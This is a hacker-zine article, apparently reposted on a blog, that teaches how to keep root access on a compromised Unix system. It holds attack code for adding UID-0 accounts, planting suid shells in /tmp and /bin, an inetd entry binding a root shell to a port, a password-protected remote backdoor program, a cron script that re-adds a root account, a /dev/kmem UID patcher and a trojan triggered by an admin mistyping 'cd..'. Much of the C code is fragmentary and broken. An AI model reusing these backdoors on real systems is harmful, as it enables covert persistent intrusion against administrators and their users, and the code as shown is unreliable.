The Art of Backdoors

                             The Art of Backdoors

                                  By Meb

This article is intended to teach you how to maintain root after you have
gained it.  It is defenantly from the hackers perspective, but could also
be viewed at by the Admins perspective, on how to detect these backdoors
and remove them.  This article is not comprehensive, because their are so
many ways to leave backdoors i could not possibly cover them all, but i'm
sure it should explain certain methods and techniques for you to use.

You've been trying to get into this box for a couple weeks, you've got
your hands on a an acc but the privs are terrible.  The box is known well
around too be very secure, but now you know just how good the admin is.
You've tried everything, imap, nis, suid exploits, bad permissions, race
conditions, but nothing is working.  Finally you stumble onto something
which the admin overlooked and are quickly sitting on a root shell.  But
what now? How do you keep this accomplishment you've worked so long on?



You can add a UID 0 account to the passwd file.  This is not recommended
because when the admin views the file, it will be increadably obvious that
his box has been compromised, and you will probably lose your root
position.  Here's a short c prog i wrote which will add a UID 0 acc to

<++> backdoor/backdoor1.c

FILE *fd;

In a similar attempt you could enable an abondoned account and change it's
uid to 0 and change the * in the second field.  This method would obviosly
be less obtrusive than the first

Leave a suid shell in /tmp.  Once the file is run you will have root privs
again, this is everyone favorite but many box's run cronjobs every couple
hours or when they reboot to clean out tmp, also many box's don't allow
suid files to be executed.  You can of course remove all these setbacks by
editing /var/spool/cron/crontabs/root and /etc/fstab.  Here's a little
program that makes a suid shell called out in /tmp.

<++> backdoor/backdoor2.c
system("cp /bin/sh /tmp/out");
system("chown root.root /tmp/out");
system("chmod 4755 /tmp/out");


The super-server configuration file is not the first place a adminn will
look, so obviosly is a good place to put a backdoor? But what makes these
backdoors best, is that their remote, so you don't have to have a local
account to regain root.  First, some background info: The Internet daemon
(/etc/inetd) listens for connection requests on TCP and UDP ports and
spawns the appropriate program (usally a server) when a connection request
arrives. The format of the /etc/inetd.conf file is simple. Typical lines
look like this:

(1)     (2)     (3)     (4)     (5)     (6)             (7)
ftp     stream  tcp     nowait  root    /usr/etc/ftpd   ftpd
talk    dgram   udp     wait    root    /usr/etc/ntalkd ntalkd

1: This is the daemon name of the servie that appears in /etc/services.
This tells inetd what to look for in /etc/services to determine which port
it should associate the program name with.

2: This will tell inetd what type of connection to use when the session is
establised . TCP uses streams, and UDP(The connectionless protocol) uses

3: Protocol field, TCP or UDP.

4: This will tell inetd what the importance of the daemon is. A 'wait'
flag indicates that the server will process a connection and make all
subsequent connections wait. 'Nowait' means the server will accept a
connection, spawn a child process to handle the connection, and then go
back to sleep, waiting for further connections.

5: Is the user the daemon is run as.

6: Program to run when a connection arrives.

7: is the actual command (and optional arguments). If the program is
trivial (usally requiring no user interaction) inetd may handle it
internally. This is done with an 'internal' flag in fields (6) and (7).
So, to install a handy backdoor, choose a service that is not used often,
and replace the daemon that would normally handle it with something else.
You could make it spawn a program that adds a UID 0 acc, or creates a suid

To take over a service like daytime and instead of telling you the time it
would drop you to a suid root shell, try something like this.

Change the line in /etc/indetd.conf that looks like this:
daytime stream  tcp     nowait  root    internal

And change it to:
daytime stream  tcp     nowait /bin/sh  sh -i.

Now you've done this, so you decide to go test it out.  You try and it
says "Unable to establish conection", whats wrong?  Well in order for
these changes to take place you need to restart inetd, you could wait for
the box to reboot, but who's patient? Just do a "killalll -9 inetd" and it
will automatically restart itself.

Another thing you could do was make a fake service and make it spawn a
program which would be more secure, such as password protected, and have
better options, so that you would have the power to modify the system
further remotley without the dificulties of not running off of telnetd.
Here is a program that will bind to any port and wait, it will not give a
prompt, simply put in the password and you will be given a menu of
options.  This code was written by theft shortly before he left the scene
so it's might have a few bugs in it as well as some unworking functions.

<++> backdoor/remoteback.c
/* Coders:

Help from:
        Sector9, Halogen

Greets: People: Liquid, AntiSocial, Peak, Grimknight, s0ttle,halogen,
                Psionic, g0d, Psionic.
        Groups: Ethical Mutiny Crew(EMC), Common Purpose hackers(CPH),
                Global Hell(gH), Team Sploit, Hong Kong Danger Duo,
                Tg0d, EHAP.
                # gcc -o backhore backhore.c    # ./backdoor password &
                Telnet to the host on port 4000.  After connected you
                Will not be prompted for a password, this way it is less
                Obvious, just type the password and press enter, after this
                You will be prompted for a command, pick 1-8.

        Ethical Mutiny Crew



#define PORT 4000
#define MAXDATASIZE 100
#define BACKLOG 10
#define SA struct sockaddr  /* leaner meaner code */

void handle(int);

main(int argc, char *argv[])
        int sockfd, new_fd, sin_size, numbytes, cmd;
        char ask[10]="Command: ";
        char *bytes, *buf, pass[40];
        struct sockaddr_in my_addr;

        struct sockaddr_in their_addr;

        printf("\n      Backhore BETA by Theft\n");
        printf(" 1: trojans rc.local\n");
        printf(" 2: sends a systemwide message\n");
        printf(" 3: binds a root shell on port 2000\n");
        printf(" 4: creates suid sh in /tmp\n");
        printf(" 5: creates mutiny account uid 0 no passwd\n");
        printf(" 6: drops to suid shell\n");
        printf(" 7: information on backhore\n");
        printf(" 8: contact\n");

        if (argc != 2) {
                fprintf(stderr,"Usage: %s password\n", argv[0]);

        strncpy(pass, argv[1], 40);
        printf("..using password: %s..\n", pass);

        if ( (sockfd = socket(AF_INET, SOCK_STREAM, 0)) == -1) {

        my_addr.sin_family = AF_INET;
        my_addr.sin_port = htons(PORT);
        my_addr.sin_addr.s_addr = INADDR_ANY;

        if (bind(sockfd, (SA *)&my_addr, sizeof(SA)) == -1) {


        if (listen(sockfd, BACKLOG) == -1) {

        sin_size = sizeof(SA);
        while(1) {  /* main accept() loop */
                if ((new_fd = accept(sockfd, (SA *)&their_addr, &sin_size)) == -1) {
                if (!fork()) {
                        dup2(new_fd, 0);
                        dup2(new_fd, 1);
                        dup2(new_fd, 2);
                        fgets(buf, 40, stdin);
                        if (!strcmp(buf, pass)) {
                                printf("%s", ask);
                                cmd = getchar();
                while(waitpid(-1,NULL,WNOHANG) > 0); /* rape the dying children */

handle(int cmd)
        FILE *fd;

        switch(cmd) {
                case '1':
                        printf("\nBackhore BETA by Theft\n");
                        printf("Trojaning rc.local\n");
                        fd = fopen("/etc/passwd", "a+");
                        fprintf(fd, "mutiny::0:0:ethical mutiny crew:/root:/bin/sh");
                        printf("Trojan complete.\n");
                case '2':
                        printf("\nBackhore BETA by Theft\n");
                        printf("Sending systemwide message..\n");
                        system("wall Box owned via the Ethical Mutiny Crew");
                        printf("Message sent.\n");
                case '3':
                        printf("\nBackhore BETA by Theft\n");
                        printf("\nAdding inetd backdoor... (-p)\n");
                        fd = fopen("/etc/services","a+");
                        fd = fopen("/etc/inetd.conf","a+");
                        fprintf(fd,"backdoor\tstream\ttcp\tnowait\troot\t/bin/sh -i\n");
                        execl("killall", "-HUP", "inetd", NULL);
                        printf("telnet to port 2000\n\n");
                case '4':
                        printf("\nBackhore BETA by Theft\n");
                        printf("\nAdding Suid Shell... (-s)\n");
                        system("cp /bin/sh /tmp/.sh");
                        system("chmod 4700 /tmp/.sh");
                        system("chown root:root /tmp/.sh");
                        printf("\nSuid shell added.\n");
                        printf("execute /tmp/.sh\n\n");
                case '5':
                        printf("\nBackhore BETA by Theft\n");
                        printf("\nAdding root account... (-u)\n");
                        printf("uid 0 and gid 0 account added\n\n");
                case '6':
                        printf("\nBackhore BETA by Theft\n");
                        printf("Executing suid shell..\n");

                case '7':
                        printf("\nBackhore BETA by Theft\n");
                        printf("\nInfo... (-i)\n");
                        printf("\n3 - Adds entries to /etc/services & /etc/inetd.conf giving                    you\n");
                        printf("a root shell on port 2000. example: telnet  2000\n\n");
                        printf("4 - Creates a copy of /bin/sh to /tmp/.sh which, whenever\n");
                        printf("executed gives you a root shell. example:/tmp/.sh\n\n");
                        printf("5 - Adds an account with uid and gid 0 to the passwd file.\n");
                        printf("The login is 'mutiny' and there is no passwd.");
                case '8':
                        printf("\nBackhore BETA by Theft\n");
                        printf("unknown command: %d\n", cmd);


Crontab is a very powerfull tool for the admin.  Cron is used to schedule
jobs to do at certain times of the day, month, or year.  Can you see where
this is going?  Because of this, you can make a very powerfull backdoor.
With Cron you could make it spawn a program at say 3:00 am in the morning,
when the admin is asleep, so you can quickly get in and do as you like and
get out before he ever notices, it's possibilities are endless. The root
crontab jobs are located in /var/spool/crontab/root and can be manually
edited.  The Cron lines will look something like this.

(1)     (2)     (3)     (4)     (5)     (6)
 0       0       *       *       3       /usr/bin/updatedb

1. Minute  (0-60)
2. Hour    (0-23)
3. Day     (1-31)
4. Month   (1-12)
5. Day     (1-7)
6. is the command (or shell script) to execute.

The above shell script is executed on Wednesday. To create a backdoor in
cron just add your custom line to /var/spool/crontab/root. You could make
a program or shell script in the crontab which checked every week of so if
the account we created earlier is still in the /etc/passwd.  To start
this, you would add this line to /var/spool/crontab/root:

0       0       *       *       *       /usr/bin/retract

<++> backdoor/
# Is our account still alive in /etc/passwd? We'll see.

set evilflag = (`grep eviluser /etc/passwd`)

if($#evilflag == 0) then                        # Is he there?

        set linecount = `wc -l /etc/passwd`
        cd                                      # Do this at home.
        cp /etc/passwd ./temppass               # Safety first.
        @ linecount[1] /= 2
        @ linecount[1] += 1                     # we only want 2 temp files
        split -$linecount[1] ./temppass         # passwd string optional
        echo "Meb::0:0:Meb:/root:/bin/sh" >> ./xaa
        cat ./xab >> ./xaa
        mv ./xaa /etc/passwd
        chmod 644 /etc/passwd                   # or whatever it was beforehand
        rm ./xa* ./temppass
        echo Done...


You could of course write a trojan and place it in /bin and make the
program create a suid shell if the right arguments are given.  This is a
very good trojan if utilized correctly.  You could also replace a little
used program with your trojan in /bin such as dialog to make your trojan
even more stealth.  Here's a program which if given the correct agrument
will create a suid shell in /tmp

<++> backdoor/backdoor3.c
#define pass "triad"
#define BUFFERSIZE 6

int main(argc, argv)
int argc;
char *argv[];{

        int i=0;



                        system("cp /bin/csh /bin/.swp121");
                        system("chmod 4755 /bin/.swp121");
                        system("chown root /bin/.swp121");
                        system("chmod 4755 /bin/.swp121");

        printf("372f: Invalid control argument, unable to initialize. Retrying");
        printf("\nAction aborted after 10 attempts.\n");


Because the kernel keeps it's paremeters in memory, it is possible for you
too modify the memory and use it to change you proccess to the UID of 0.
To do this, /dev/kmem must be world readable and writable.  The program
below will seek to your page in the memory and change your UID effectively
spawning you a suid root shell.

<++> backdoor/kmemthief.c

#define pass "triad"

struct user userpage;
long address(), userlocation;

int main(argc, argv, envp)
int argc;
char *argv[], *envp[];{

        int count, fd;
        long where, lseek();


                                printf("Cannot read or write to


                                printf("Cannot seek to user page\n");

                        count=read(fd,&userpage,sizeof(struct user));

                        if(count!=sizeof(struct user)){
                                printf("Cannot read user page\n");

                        printf("Current UID: %d\n",userpage.u_ruid);
                        printf("Current GID: %d\n",userpage.g_ruid);



                                printf("Cannot seek to user page\n");

                        write(fd,&userpage,((char *)&(userpage.u_procp))-((char *)&userpage));

                        execle("/bin/csh","/bin/csh","-i",(char *)0, envp);


[The Clumsy]

Have you ever been pounding away working a problem with your box and
accidently typed "cd.." instead of "cd .." It happens to me because before
linux I used windows and MS-Dos for years, and the commands are still
stuck in my head.  Well every now and then, the admin will type that,
wouldn't you want to take advantage of his mistake? What if when he typed
cd.. it would trigger your trojan program? Therefore being a semi remote
backdoor seeing as you don't have to be logged in the box to trigger it,
the truth is, you can!  Here's a small program I wrote to take advantage
of human error.

<++> backdoor/dumb.c
This program will add a UID 0 account to /etc/passwd
when the admin accidently types cd..
Also to cover up itself it will perform the cd action
so as the admin would never notice his mistake


FILE *fd;

Now compile that program and put it somewhere that it looks like it
belongs.  It is also a good idea if you are doing this from a suid shell
to change it's ownership by doing "chown root out" if the programs name
was out, changing the group would also be a good idea, whats the reasoning
behind this? Well if the admin deos a "ls -alF" and sees a suid root
program which owner is an unprivileged account, he's going to figure out
it's a backdoor and remove it.

Ok, now that you've compiled the program(lets say it was called out in
/bin) then you would do this command to "link" cd.. and /bin/out together,
do a "ln cd.. /bin/out" and now when the admin makes that vital mistake,
you'll have access to the system once again.


This article was meant to give you a feel for creating, maintaining, and
using backdoors as well as removing them.  You may use this information
any way you like, but be still use your judgement on how you use them and
how much it will effect the system and it's performance. For any questions
or comments, please send mail to


Leave a Reply

Fill in your details below or click an icon to log in: Logo

You are commenting using your account. Log Out /  Change )

Google+ photo

You are commenting using your Google+ account. Log Out /  Change )

Twitter picture

You are commenting using your Twitter account. Log Out /  Change )

Facebook photo

You are commenting using your Facebook account. Log Out /  Change )


Connecting to %s